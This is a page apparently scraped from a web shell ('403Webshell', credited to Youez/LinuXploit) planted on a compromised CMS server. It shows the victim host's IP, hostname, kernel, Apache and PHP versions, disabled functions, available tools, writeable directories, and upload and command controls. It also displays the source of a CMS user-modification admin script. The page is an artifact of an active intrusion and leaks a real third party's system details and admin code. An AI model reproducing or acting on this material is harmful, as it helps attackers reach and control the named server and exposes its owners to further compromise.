403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/sys_cms_user_modifyform.php
<?php

	include 'config.php';
	// Check if the user is logged in

	if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1')) {
		header("Location: login.php");
		exit;
	}

	require("configure.php");


	$sth1 = $dbh->prepare("SELECT * FROM sys_cms_login WHERE cmsloginid=?");
	$sth1->execute(array((int)$_GET["cmsloginid"]));
	if (!$sth1->execute())
		throw new Exception('[' . $sth1->errorCode() . ']: ' . $sth1->errorInfo());
	$row = $sth1->fetch(PDO::FETCH_ASSOC);

	if( ($_SESSION['role'] == 'user' && $row{"cmsrole"} == 'admin') || ($_SESSION['role'] == 'admin' && $row{"cmsrole"} == 'super_admin')){
		header("Location: sys_cms_user_index.php?msg=You cannot change the password of this user!");
		exit;
	}
?>
<html>
<head>
	<link rel="stylesheet" type="text/css" href="css/style.css"/>
	<meta http-equiv="x-ua-compatible" content="ie=8"/>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
	<title>Content Management System (CMS) - Powered by One Solution Limited</title>
	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
	<script src="http://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.11.1/jquery.validate.min.js"></script>

	<script type="text/javascript">
		function MM_jumpMenu(targ, selObj, restore) { //v3.0
			eval(targ + ".location='" + selObj.options[selObj.selectedIndex].value + "'");
			if (restore) selObj.selectedIndex = 0;
		}

		$(document).ready(function (e) {
			$("#myform").validate();
		});
	</script>
</head>
<body>
<form action="sys_cms_user_modify.php" method="post" name="modifyform" id="myform" enctype="multipart/form-data">
	<input type="hidden" name="cmsloginid" value="<?= $row{'cmsloginid'}; ?>">
	<table width="1000" border="0" cellpadding="0" cellspacing="0">
		<tr>
			<td height="70" align="right" valign="middle" class="icontxt">
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="50" align="center">
							<a href="#" onClick="$('#myform').submit()"><img src="images/iconSave.png" alt="Save" width="32" height="32" border="0"><br>
								&nbsp;儲存&nbsp;&nbsp;</a></td>
						<td width="50" align="center">
							<a href="sys_cms_user_index.php"><img src="images/iconCancel.png" alt="Cancel" width="32" height="32" border="0"><br>
								&nbsp;取消&nbsp;&nbsp;</a></td>
						<td>&nbsp;</td>
					</tr>
				</table>
			</td>
		</tr>
		<tr>
			<td class="pagetitletxt">
				&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle"/> CMS 用戶管理 </b></td>
		</tr>
		<tr>
			<td align="left" valign="middle"><!-- Content -->
				<table border="0" cellpadding="0" cellspacing="0">
					<tr>
						<td width="120" align="right" valign="top" class='content'>用戶名稱</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content required" name="username" value="<?= $row{'cmsusername'} ?>" size="80" maxlength="80"/>
							字數上限:80
							<br><br>
						</td>
					</tr>

					<tr>
						<td width="120" align="right" valign="top" class='content'>角色</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<?php
								if ($row{'cmsrole'} == 'super_admin')
									echo 'Super-Admin';
								else if ($row{'cmsrole'} == 'admin')
									echo 'User-Admin';
								else if ($row{'cmsrole'} == 'web_user')
									echo 'Web-User';
								else if ($row{'cmsrole'} == 'system_user')
									echo 'System-User';
								else
									echo 'User';
							?>
							<br><br>
						</td>
					</tr

					<tr>
						<td width="120" align="right" valign="top" class='content'>登入名稱</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="text" class="content required" name="loginname" value="<?= $row{'cmsloginname'} ?>" size="50" maxlength="20" id="loginname"/>
							字數上限:20
							<br><br>
						</td>
					</tr>
					<tr>
						<td width="120" align="right" valign="top" class='content'>密碼</td>
						<td class='content' valign="top">:&nbsp;</td>
						<td class='content'>
							<input type="password" class="content" id="loginpw" name="loginpw" size="50" maxlength="15"/><?= Password::ajax_validate('loginpw', 'ajax_passwordChecker.php', 'loginname') ?>
							字數上限:8-15
							<br><br>
						</td>
					</tr>
				</table>
				<!-- End Content --></td>
		</tr>
		<tr>
			<td align="left" valign="middle">&nbsp;</td>
		</tr>
	</table>
</form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit